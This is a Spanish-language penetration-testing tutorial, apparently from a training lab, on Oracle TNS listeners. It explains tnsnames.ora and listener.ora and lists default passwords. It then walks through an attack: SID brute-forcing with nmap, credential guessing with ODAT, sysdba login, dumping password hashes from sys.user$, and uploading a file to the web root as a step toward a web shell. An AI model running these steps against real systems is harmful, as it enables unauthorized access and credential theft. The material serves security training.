Oracle TNS
El servidor Oracle Transparent Network Substrate
(TNS
) es un protocolo de comunicación que facilita la comunicación entre bases de datos Oracle y aplicaciones a través de redes. Inicialmente introducido como parte de la suite de software Oracle Net Services, TNS soporta varios protocolos de red entre bases de datos Oracle y aplicaciones cliente, como IPX/SPX
y TCP/IP
. Como resultado, se ha convertido en una solución preferida para gestionar grandes y complejas bases de datos en las industrias de salud, finanzas y retail. Además, su mecanismo de cifrado incorporado asegura la seguridad de los datos transmitidos, haciéndolo una solución ideal para entornos empresariales donde la seguridad de los datos es primordial.
Con el tiempo, TNS ha sido actualizado para soportar nuevas tecnologías, incluyendo IPv6
y cifrado SSL/TLS
, lo que lo hace más adecuado para los siguientes propósitos:
- Resolución de nombres
- Gestión de conexiones
- Balanceo de carga
- Seguridad
Además, permite el cifrado entre la comunicación cliente y servidor a través de una capa adicional de seguridad sobre la capa del protocolo TCP/IP. Esta característica ayuda a asegurar la arquitectura de la base de datos contra accesos no autorizados o ataques que intenten comprometer los datos en el tráfico de la red. Además, proporciona herramientas y capacidades avanzadas para administradores de bases de datos y desarrolladores, ya que ofrece herramientas completas de monitoreo y análisis de rendimiento, capacidades de reporte y registro de errores, gestión de cargas de trabajo y tolerancia a fallos a través de servicios de bases de datos.
Configuración Predeterminada
La configuración predeterminada del servidor Oracle TNS varía dependiendo de la versión y edición del software Oracle instalado. Sin embargo, algunos ajustes comunes suelen configurarse por defecto en Oracle TNS. Por defecto, el listener escucha conexiones entrantes en el puerto TCP/1521
. No obstante, este puerto predeterminado puede cambiarse durante la instalación o posteriormente en el archivo de configuración. El listener de TNS está configurado para soportar varios protocolos de red, incluyendo TCP/IP
, UDP
, IPX/SPX
y AppleTalk
. El listener también puede soportar múltiples interfaces de red y escuchar en direcciones IP específicas o en todas las interfaces de red disponibles. Por defecto, Oracle TNS puede ser gestionado remotamente en Oracle 8i
/9i
pero no en Oracle 10g/11g.
La configuración predeterminada del listener de TNS también incluye algunas características básicas de seguridad. Por ejemplo, el listener solo aceptará conexiones de hosts autorizados y realizará una autenticación básica utilizando una combinación de nombres de host, direcciones IP y nombres de usuario y contraseñas. Además, el listener usará Oracle Net Services para cifrar la comunicación entre el cliente y el servidor. Los archivos de configuración para Oracle TNS se llaman tnsnames.ora
y listener.ora
y típicamente se encuentran en el directorio $ORACLE_HOME/network/admin
. El archivo de texto plano contiene información de configuración para instancias de bases de datos Oracle y otros servicios de red que utilizan el protocolo TNS.
Oracle TNS se usa a menudo con otros servicios de Oracle como Oracle DBSNMP, Oracle Databases, Oracle Application Server, Oracle Enterprise Manager, Oracle Fusion Middleware, servidores web y muchos más. Se han realizado muchos cambios en la instalación predeterminada de los servicios de Oracle. Por ejemplo, Oracle 9 tiene una contraseña predeterminada, CHANGE_ON_INSTALL
, mientras que Oracle 10 no tiene una contraseña predeterminada. El servicio Oracle DBSNMP también usa una contraseña predeterminada, dbsnmp
, que debemos recordar cuando nos encontremos con este. Otro ejemplo sería que muchas organizaciones todavía usan el servicio finger
junto con Oracle, lo que puede poner en riesgo el servicio de Oracle y hacerlo vulnerable cuando tenemos el conocimiento requerido de un directorio de inicio.
Cada base de datos o servicio tiene una entrada única en el archivo tnsnames.ora, que contiene la información necesaria para que los clientes se conecten al servicio. La entrada consta de un nombre para el servicio, la ubicación de red del servicio y el nombre de la base de datos o servicio que los clientes deben usar al conectarse al servicio. Por ejemplo, un archivo tnsnames.ora
simple podría verse así:
Tnsnames.ora
ORCL =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.129.11.102)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = orcl)
)
)
Aquí podemos ver un servicio llamado ORCL
, que está escuchando en el puerto TCP/1521
en la dirección IP 10.129.11.102
. Los clientes deben usar el nombre del servicio orcl
al conectarse al servicio. Sin embargo, el archivo tnsnames.ora puede contener muchas de estas entradas para diferentes bases de datos y servicios. Las entradas también pueden incluir información adicional, como detalles de autenticación, configuraciones de agrupación de conexiones y configuraciones de balanceo de carga.
Por otro lado, el archivo listener.ora
es un archivo de configuración del lado del servidor que define las propiedades y parámetros del proceso listener, que es responsable de recibir solicitudes de clientes entrantes y reenviarlas a la instancia de base de datos Oracle apropiada.
Listener.ora
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PDB1)
(ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1)
(GLOBAL_DBNAME = PDB1)
(SID_DIRECTORY_LIST =
(SID_DIRECTORY =
(DIRECTORY_TYPE = TNS_ADMIN)
(DIRECTORY = C:\oracle\product\19.0.0\dbhome_1\network\admin)
)
)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521))
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
)
)
ADR_BASE_LISTENER = C:\oracle
En resumen, el software Oracle Net Services del lado del cliente usa el archivo tnsnames.ora
para resolver nombres de servicio a direcciones de red, mientras que el proceso listener usa el archivo listener.ora
para determinar los servicios a los que debe escuchar y el comportamiento del listener.
Las bases de datos Oracle pueden ser protegidas mediante el uso de una Lista de Exclusión de PL/SQL (PlsqlExclusionList
). Es un archivo de texto creado por el usuario que debe colocarse en el directorio $ORACLE_HOME/sqldeveloper
y contiene los nombres de los paquetes o tipos de PL/SQL que deben ser excluidos de la ejecución. Una vez que se crea el archivo de la Lista de Exclusión de PL/SQL, se puede cargar en la instancia de la base de datos. Sirve como una lista negra que no puede ser accedida a través del Oracle Application Server.
Configuración | Descripción |
---|---|
DESCRIPTION |
Un descriptor que proporciona un nombre para la base de datos y su tipo de conexión. |
ADDRESS |
La dirección de red de la base de datos, que incluye el nombre del host y el número de puerto. |
PROTOCOL |
El protocolo de red utilizado para la comunicación con el servidor |
PORT |
El número de puerto utilizado para la comunicación con el servidor |
CONNECT_DATA |
Especifica los atributos de la conexión, como el nombre del servicio o SID, el protocolo y el identificador de instancia de la base de datos. |
INSTANCE_NAME |
El nombre de la instancia de base de datos a la que el cliente desea conectarse. |
SERVICE_NAME |
El nombre del servicio al que el cliente desea conectarse. |
SERVER |
El tipo de servidor utilizado para la conexión a la base de datos, como dedicado o compartido. |
USER |
El nombre de usuario utilizado para autenticarse con el servidor de la base de datos. |
PASSWORD |
La contraseña utilizada para autenticarse con el servidor de la base de datos. |
SECURITY |
El tipo de seguridad para la conexión. |
VALIDATE_CERT |
Si se debe validar el certificado utilizando SSL/TLS. |
SSL_VERSION |
La versión de SSL/TLS a utilizar para la conexión. |
CONNECT_TIMEOUT |
El límite de tiempo en segundos para que el cliente establezca una conexión con la base de datos. |
RECEIVE_TIMEOUT |
El límite de tiempo en segundos para que el cliente reciba una respuesta de la base de datos. |
SEND_TIMEOUT |
El límite de tiempo en segundos para que el cliente envíe una solicitud a la base de datos. |
SQLNET.EXPIRE_TIME |
El límite de tiempo en segundos para que el cliente detecte que una conexión ha fallado. |
TRACE_LEVEL |
El nivel de trazado para la conexión a la base de datos. |
TRACE_DIRECTORY |
El directorio donde se almacenan los archivos de trazado. |
TRACE_FILE_NAME |
El nombre del archivo de trazado. |
LOG_FILE |
El archivo donde se almacena la información de registro. |
Antes de que podamos enumerar el listener de TNS e interactuar con él, necesitamos descargar algunos paquetes y herramientas para nuestra instancia de Pwnbox
en caso de que no tenga estas ya instaladas. Aquí hay un script de Bash que hace todo eso:
Oracle-Tools-setup.sh
#!/bin/bash
sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
Después de eso, podemos intentar determinar si la instalación fue exitosa ejecutando el siguiente comando:
Testing ODAT
./odat.py -h
usage: odat.py [-h] [--version]
{all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
...
_ __ _ ___
/ \| \ / \|_ _|
( o ) o ) o || |
\_/|__/|_n_||_|
-------------------------------------------
_ __ _ ___
/ \ | \ / \ |_ _|
( o ) o ) o | | |
\_/racle |__/atabase |_n_|ttacking |_|ool
-------------------------------------------
By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)
...SNIP...
Oracle Database Attacking Tool (ODAT
) es una herramienta de pruebas de penetración de código abierto escrita en Python y diseñada para enumerar y explotar vulnerabilidades en bases de datos Oracle. Puede ser utilizada para identificar y explotar varias fallas de seguridad en bases de datos Oracle, incluyendo inyección de SQL, ejecución remota de código y escalación de privilegios.
Ahora vamos a usar nmap
para escanear el puerto predeterminado del listener de Oracle TNS.
Nmap
sudo nmap -p1521 -sV 10.129.204.235 --open
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 10:59 EST
Nmap scan report for 10.129.204.235
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds
Podemos ver que el puerto está abierto y el servicio está funcionando. En Oracle RDBMS, un Identificador de Sistema (SID
) es un nombre único que identifica una instancia particular de base de datos. Puede tener múltiples instancias, cada una con su propio Identificador de Sistema. Una instancia es un conjunto de procesos y estructuras de memoria que interactúan para gestionar los datos de la base de datos. Cuando un cliente se conecta a una base de datos Oracle, especifica el SID
de la base de datos junto con su cadena de conexión. El cliente usa este SID para identificar a qué instancia de la base de datos quiere conectarse. Si el cliente no especifica un SID, se usa el valor predeterminado definido en el archivo tnsnames.ora
.
Los SID son una parte esencial del proceso de conexión, ya que identifica la instancia específica de la base de datos a la que el cliente quiere conectarse. Si el cliente especifica un SID incorrecto, el intento de conexión fallará. Los administradores de bases de datos pueden usar el SID para monitorear y gestionar las instancias individuales de una base de datos. Por ejemplo, pueden iniciar, detener o reiniciar una instancia, ajustar su asignación de memoria u otros parámetros de configuración y monitorear su rendimiento utilizando herramientas como Oracle Enterprise Manager.
Hay varias formas de enumerar, o mejor dicho, adivinar SIDs. Por lo tanto, podemos usar herramientas como nmap
, hydra
, odat
, y otras. Vamos a usar primero nmap
.
Nmap - SID Bruteforcing
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST
Nmap scan report for 10.129.204.235
Host is up (0.0044s latency).
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute:
|_ XE
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds
Podemos usar la herramienta odat.py
para realizar una variedad de escaneos para enumerar y recopilar información sobre los servicios de bases de datos Oracle y sus componentes. Esos escaneos pueden recuperar nombres de bases de datos, versiones, procesos en ejecución, cuentas de usuario, vulnerabilidades, configuraciones erróneas, etc. Vamos a usar la opción all
y probar todos los módulos de la herramienta odat.py
.
ODAT
./odat.py all -s 10.129.204.235
[+] Checking if target 10.129.204.235:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.129.204.235:1521 is well configured. Continue...
...SNIP...
[!] Notice: 'mdsys' account is locked, so skipping this username for password ################| ETA: 00:01:16
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password ################| ETA: 00:01:05
[!] Notice: 'outln' account is locked, so skipping this username for password ################| ETA: 00:00:59
[+] Valid credentials found: scott/tiger. Continue...
...SNIP...
En este ejemplo, encontramos credenciales válidas para el usuario scott
y su contraseña tiger
. Después de eso, podemos usar la herramienta sqlplus
para conectarnos a la base de datos Oracle e interactuar con ella.
SQLplus - Iniciar Sesión
sqlplus scott/tiger@10.129.204.235/XE
SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:19:21 2023
Version 21.4.0.0.0
Copyright (c) 1982, 2021, Oracle. All rights reserved.
ERROR:
ORA-28002: the password will expire within 7 days
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
SQL>
Si te encuentras con el siguiente error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory
, por favor ejecuta lo siguiente, tomado de aquí.
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
Hay muchos comandos de SQLplus que podemos usar para enumerar la base de datos manualmente. Por ejemplo, podemos listar todas las tablas disponibles en la base de datos actual o mostrarnos los privilegios del usuario actual como los siguientes:
Oracle RDBMS - Interacción
SQL> select table_name from all_tables;
TABLE_NAME
------------------------------
DUAL
SYSTEM_PRIVILEGE_MAP
TABLE_PRIVILEGE_MAP
STMT_AUDIT_OPTION_MAP
AUDIT_ACTIONS
WRR$_REPLAY_CALL_FILTER
HS_BULKLOAD_VIEW_OBJ
HS$_PARALLEL_METADATA
HS_PARTITION_COL_NAME
HS_PARTITION_COL_TYPE
HELP
...SNIP...
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO
Aquí, el usuario scott
no tiene privilegios administrativos. Sin embargo, podemos intentar usar esta cuenta para iniciar sesión como el Administrador de la Base de Datos del Sistema (sysdba
), lo que nos daría privilegios más altos. Esto es posible cuando el usuario scott
tiene los privilegios apropiados típicamente otorgados por el administrador de la base de datos o usados por el mismo administrador.
Oracle RDBMS - Enumeración de la Base de Datos
sqlplus scott/tiger@10.129.204.235/XE as sysdba
SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:32:58 2023
Version 21.4.0.0.0
Copyright (c) 1982, 2021, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS ADM_PARALLEL_EXECUTE_TASK YES YES NO
SYS APEX_ADMINISTRATOR_ROLE YES YES NO
SYS AQ_ADMINISTRATOR_ROLE YES YES NO
SYS AQ_USER_ROLE YES YES NO
SYS AUTHENTICATEDUSER YES YES NO
SYS CONNECT YES YES NO
SYS CTXAPP YES YES NO
SYS DATAPUMP_EXP_FULL_DATABASE YES YES NO
SYS DATAPUMP_IMP_FULL_DATABASE YES YES NO
SYS DBA YES YES NO
SYS DBFS_ROLE YES YES NO
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS DELETE_CATALOG_ROLE YES YES NO
SYS EXECUTE_CATALOG_ROLE YES YES NO
...SNIP...
Podemos seguir muchos enfoques una vez que tenemos acceso a una base de datos Oracle. Depende mucho de la información que tenemos y de toda la configuración. Sin embargo, no podemos agregar nuevos usuarios ni hacer modificaciones. Desde este punto, podríamos recuperar los hashes de contraseñas del sys.user$
e intentar descifrarlos sin conexión. La consulta para esto se vería como la siguiente:
Oracle RDBMS - Extraer Hashes de Contraseñas
SQL> select name, password from sys.user$;
NAME PASSWORD
------------------------------ ------------------------------
SYS FBA343E7D6C8BC9D
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM B5073FE1DE351687
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
OUTLN 4A3BA55E08595C81
EXP_FULL_DATABASE
NAME PASSWORD
------------------------------ ------------------------------
IMP_FULL_DATABASE
LOGSTDBY_ADMINISTRATOR
...SNIP...
Otra opción es subir un shell web al objetivo. Sin embargo, esto requiere que el servidor ejecute un servidor web y necesitamos conocer la ubicación exacta del directorio raíz para el servidor web. No obstante, si sabemos qué tipo de sistema estamos manejando, podemos intentar con las rutas predeterminadas, que son:
SO | Ruta |
---|---|
Linux | /var/www/html |
Windows | C:\inetpub\wwwroot |
Primero, siempre es importante intentar nuestro enfoque de explotación con archivos que no parezcan peligrosos para los sistemas de Antivirus o detección/prevención de intrusiones. Por lo tanto, creamos un archivo de texto con una cadena y lo usamos para subirlo al sistema objetivo.
Oracle RDBMS - Subida de Archivos
echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
[1] (10.129.204.235:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on the 10.129.204.235 server
[+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 10.129.204.235 server like the testing.txt file
Finalmente, podemos probar si el enfoque de subida de archivos funcionó con curl
. Por lo tanto, usaremos una GET http://<IP>
solicitud, o podemos visitarlo a través del navegador.
curl -X GET http://10.129.204.235/testing.txt
Oracle File Upload Test